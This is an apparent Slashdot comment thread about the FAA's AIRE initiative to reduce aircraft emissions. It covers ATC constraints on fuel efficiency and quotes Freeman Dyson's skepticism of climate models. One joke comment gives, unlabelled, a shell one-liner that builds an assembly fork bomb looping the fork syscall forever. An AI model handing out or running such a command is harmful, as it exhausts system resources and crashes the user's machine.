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FAA Plans to Clean Up the Skies
coondoggie writes "On top of its recently announced plan to reduce flight delays, Federal Aviation Administration officials today launched what they hope will be pan U.S. and European Union joint action plan to cut greenhouse gas emissions from aircraft. Specifically the group announced the Atlantic Interoperability Initiative to Reduce Emissions or AIRE — the first large-scale environmental plan aimed at uniting aviation players from both sides of the Atlantic."
I agree that we need vastly more information than we currently have, and further agree that I don't think the government should be micromanaging like this, but what if some companies found it profitable to do so on their own (fuel optimizations, etc.)?
Surely there is much yet to discover about our planet and the way it works, and I agree that emissions standards must be scrutinized with respect to their economic impacts...I feel that the knee-jerk reaction Al Gore seems to be trying to illicit is not in our best interests economically, but I don't see any harm in people/companies trying to lessen our impact on the world around us...unless it means killing industry as we know it. There must be a balance of some sort.
Quiz: True or False -- On a scale of 1 to 10, what is your middle name?
Freeman Dyson on Climate Models
The first of my heresies says that all the fluff about global warming is grossly exaggerated. Here I am opposing the holy brotherhood of twilight model experts and the crowd of diluted citizens that believe the numbers predicted by their models. Of course they say I have no degree in meteorology and I am therefore not qualified to speak.
But I have studied their climate models and know what they can do. The models solve the equations of fluid dynamics and do a very good job of describing the fluid motions of the atmosphere and the oceans. They do a very poor job of describing the clouds, the dust, the chemistry and the biology of fields, farms and forests. They do not begin to describe the real world that we live in.
The real world is muddy and messy and full of things that we do not yet understand. It is much easier for a scientist to sit in an air-conditioned building and run computer models than to put on winter clothes and measure what is really happening outside in the swamps and the clouds. That's why the climate model experts end up believing their own models.
There's no doubt that parts of the world are getting warmer, but the warming is not global. The warming happens in places and times where it is cold, in the arctic more than the tropics, in the winter more than the summer, at night more than the daytime.
I'm not saying the warming doesn't cause problems, obviously it does. Obviously we should be trying to understand it. I'm saying that the problems are being grossly exaggerated. They take away money and attention from other problems that are much more urgent and important. Poverty, infectious diseases, public education and public health. Not to mention the preservation of living creatures on land and in the oceans.
He also worked out a way to reverse global warming quite cheaply.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
It's actually really surprising how much airlines currently *don't* do to optimize fuel costs....
Actually, they go to great lengths to minimize fuel burn. The reason they're often not at optimum altitude or speed is due to ATC constraints. At most (not all) airports, you'll have a much earlier than optimum descent from cruise altitude, followed by being high on the downwind leg (leaving enough space for departing aircraft to get out under the arrivals), followed by a tight, slam dunk, high drag approach or a loooong downwind while you do a low level fuel annihilation run due to the amount of traffic arriving.
Oceanic routes have huge spacing requirements due to the lack of radar coverage. Because of that, it's often difficult to get a clearance to a new altititude while over the pond. It's not uncommon to cross the ocean at one altitude for the entire crossing, even though the optimum altitude will go up as the aircraft gets lighter.
So, airlines do the best they can with the constraints they face. Improving the ATC system will be a big help.
Never shake hands with a man you meet in a fertility clinic.
If they just improved their flight scheduling infosystems to eliminate wasteful delays and wasteful rushing to catch up, they'd burn a lot less fuel per mile traveled.
How many times have we arrived above an airport, just to fly in circles until the terminal is ready to let us get to the gate? How long have we spent burning fuel on the runway, waiting for our turn to take off? All that extra fuel burned to go extra miles between our points.
And then the pilot tells us they'll pour on the speed to catch up to schedule, or get us ahead of schedule - so we have to wait longer for a gate to open when we arrive. That extra airspeed might improve their ontime arrivals/departures stats, but once out of the maximum efficiency range, that 4th power of wind resistance per area drag really multiplies the inefficiency out of the engine's peak efficiency RPM.
But if their logistics just mapped the arrivals/departures to the capacity of the airports, most of that waste would be unnecessary. I wouldn't be surprised to see >10% fuel efficiency gained right there, plus the extra efficiency from less refueling infrastructure.
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make install -not war